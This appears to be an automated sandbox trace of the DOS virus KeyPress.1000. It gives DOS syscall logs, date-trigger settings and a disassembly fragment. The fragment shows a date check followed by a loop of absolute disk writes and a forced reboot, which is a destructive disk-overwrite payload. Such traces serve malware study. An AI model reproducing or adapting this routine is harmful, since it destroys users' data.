Sample viewer

vx.netlux.org/Virus.DOS.KeyPress.1000

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:31:40.004539267Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2a
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: adc word ptr [bp + di + 0x69], cx
0x12b22: outsb dx, byte ptr [si]
0x12b23: and byte ptr [edi + 0x6f], dh
0x12b27: jb 0x12b96
0x12b29: adc byte ptr [bx + si + 0x4ce8], dl
2018-12-17T22:31:40.007175476Z 48 PC: 12b4d | Get DOS version

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5656,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:55:10.180127032Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2a
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: adc word ptr [bp + di + 0x69], cx
0x12b22: outsb dx, byte ptr [si]
0x12b23: and byte ptr [edi + 0x6f], dh
0x12b27: jb 0x12b96
0x12b29: adc byte ptr [bx + si + 0x4ce8], dl
2018-12-25T11:55:10.183179541Z 48 PC: 12b4d | Get DOS version

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5656,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:55:10.210844899Z 42 PC: 12afa | Get date 0x12afa: cmp dh, 4
0x12afd: jne 0x12b2a
0x12aff: xor dx, dx
0x12b01: mov ah, 0x19
0x12b03: int 0x21
0x12b05: xor bx, bx
0x12b07: mov ds, bx
0x12b09: mov cx, 0x77
0x12b0c: int 0x26
0x12b0e: jb 0x12b1a
0x12b10: pop di
0x12b11: add dx, 0x78
0x12b14: cmp dx, 0x2d0
0x12b18: jne 0x12b09
0x12b1a: ljmp 0xf000:0xfff0
0x12b1f: adc word ptr [bp + di + 0x69], cx
0x12b22: outsb dx, byte ptr [si]
0x12b23: and byte ptr [edi + 0x6f], dh
0x12b27: jb 0x12b96
0x12b29: adc byte ptr [bx + si + 0x4ce8], dl
2018-12-25T11:55:10.215723488Z 25 PC: 12b05 | Get default drive
2018-12-25T11:55:12.439241595Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T11:55:12.44088532Z 72 PC: 8f1bd | Allocate memory
2018-12-25T11:55:12.443995289Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T11:55:12.447005831Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T11:55:12.45716533Z 66 PC: 91f95 | Move file pointer
2018-12-25T11:55:12.458895269Z 62 PC: 91fc1 | Close file
2018-12-25T11:55:12.461692255Z 75 PC: 91fe0 | Execute program
2018-12-25T11:55:12.477414198Z 98 PC: 916f1 | Get current PSP
2018-12-25T11:55:12.478672594Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-25T11:55:12.483739637Z 48 PC: c609 | Get DOS version
2018-12-25T11:55:12.487155737Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T11:55:12.489836588Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T11:55:12.493130257Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T11:55:12.496400369Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-25T11:55:12.499975986Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-25T11:55:12.505519172Z 61 PC: 91f88 | Open file (See above)
2018-12-25T11:55:12.515360229Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T11:55:12.516695798Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T11:55:12.519024232Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T11:55:12.539648583Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T11:55:12.543183176Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T11:55:12.544970035Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:55:12.54604436Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:55:12.547104688Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:55:12.549082392Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:55:12.550217865Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T11:55:12.557494815Z 62 PC: 8f8eb | Close file
2018-12-25T11:55:12.559372413Z 62 PC: 8f8f2 | Close file
2018-12-25T11:55:12.575135732Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.576613627Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.578058274Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.579747592Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.581091717Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.582457777Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.584548862Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.586717657Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.588187549Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.590709914Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.592154704Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.593580252Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.595979254Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.597479633Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.598980108Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.601168699Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.602988584Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.604546725Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.606615515Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.608270304Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.609420475Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.611590358Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.613234577Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.614793313Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.616341626Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.618753715Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.620303383Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.62183837Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.624276807Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:55:12.62582261Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T11:55:12.630631818Z 62 PC: 8f90e | Close file
2018-12-25T11:55:12.633381649Z 69 PC: 8f915 | Duplicate handle
2018-12-25T11:55:12.635079044Z 69 PC: 8f919 | Duplicate handle
2018-12-25T11:55:12.636771992Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T11:55:12.642840569Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T11:55:12.644460068Z 61 PC: 9387b | Open file (See above)
2018-12-25T11:55:12.649332107Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T11:55:12.652156541Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T11:55:12.653701592Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T11:55:12.655595488Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T11:55:12.657803823Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T11:55:12.659293183Z 72 PC: 8fa02 | Allocate memory
2018-12-25T11:55:12.661159825Z 72 PC: 8fa06 | Allocate memory
2018-12-25T11:55:12.663536856Z 73 PC: 8fa11 | Release memory
2018-12-25T11:55:12.665406474Z 73 PC: 8efea | Release memory
2018-12-25T11:55:12.666924447Z 74 PC: 8f003 | Reallocate memory
2018-12-25T11:55:12.668887177Z 72 PC: 8f054 | Allocate memory
2018-12-25T11:55:12.671479413Z 72 PC: 8f058 | Allocate memory
2018-12-25T11:55:12.674161478Z 73 PC: 8f060 | Release memory
2018-12-25T11:55:12.680438743Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T11:55:12.68920349Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:55:12.694472073Z 66 PC: 8f0ad | Move file pointer
2018-12-25T11:55:12.695755362Z 62 PC: 8f0d1 | Close file
2018-12-25T11:55:12.698342753Z 75 PC: 8f0f2 | Execute program
2018-12-25T11:55:12.718116738Z 80 PC: 12be9 | Set current PSP
2018-12-25T11:55:12.719169941Z 48 PC: 12bee | Get DOS version
2018-12-25T11:55:12.721896244Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T11:55:12.724210161Z 101 PC: 12c74 | Get extended country info
2018-12-25T11:55:12.725422633Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T11:55:12.727248879Z 74 PC: 12cdc | Reallocate memory
2018-12-25T11:55:12.728634249Z 72 PC: 1355d | Allocate memory
2018-12-25T11:55:12.730070228Z 25 PC: 13596 | Get default drive
2018-12-25T11:55:12.732257883Z 71 PC: 135ad | Get current directory
2018-12-25T11:55:12.734492298Z 59 PC: 135ba | Change current directory
2018-12-25T11:55:12.740608185Z 59 PC: 135c8 | Change current directory
2018-12-25T11:55:12.746732566Z 59 PC: 135d3 | Change current directory
2018-12-25T11:55:12.750098052Z 25 PC: 12d13 | Get default drive
2018-12-25T11:55:12.7511914Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T11:55:12.75280492Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T11:55:12.754089441Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:55:12.756112061Z 80 PC: 1301d | Set current PSP
2018-12-25T11:55:12.757846432Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T11:55:12.75924937Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:55:12.760535291Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:55:12.762842982Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T11:55:12.764615055Z 72 PC: 130ec | Allocate memory
2018-12-25T11:55:12.766288659Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T11:55:12.772995141Z 62 PC: 131ba | Close file
2018-12-25T11:55:12.775156744Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T11:55:12.776331639Z 74 PC: 1197c | Reallocate memory
2018-12-25T11:55:12.778282382Z 72 PC: 11991 | Allocate memory
2018-12-25T11:55:12.780144096Z 73 PC: 119b2 | Release memory
2018-12-25T11:55:12.781584415Z 72 PC: 119bd | Allocate memory
2018-12-25T11:55:12.783851403Z 73 PC: 119df | Release memory
2018-12-25T11:55:12.785305401Z 72 PC: 119f5 | Allocate memory
2018-12-25T11:55:12.787202272Z 72 PC: 119fd | Allocate memory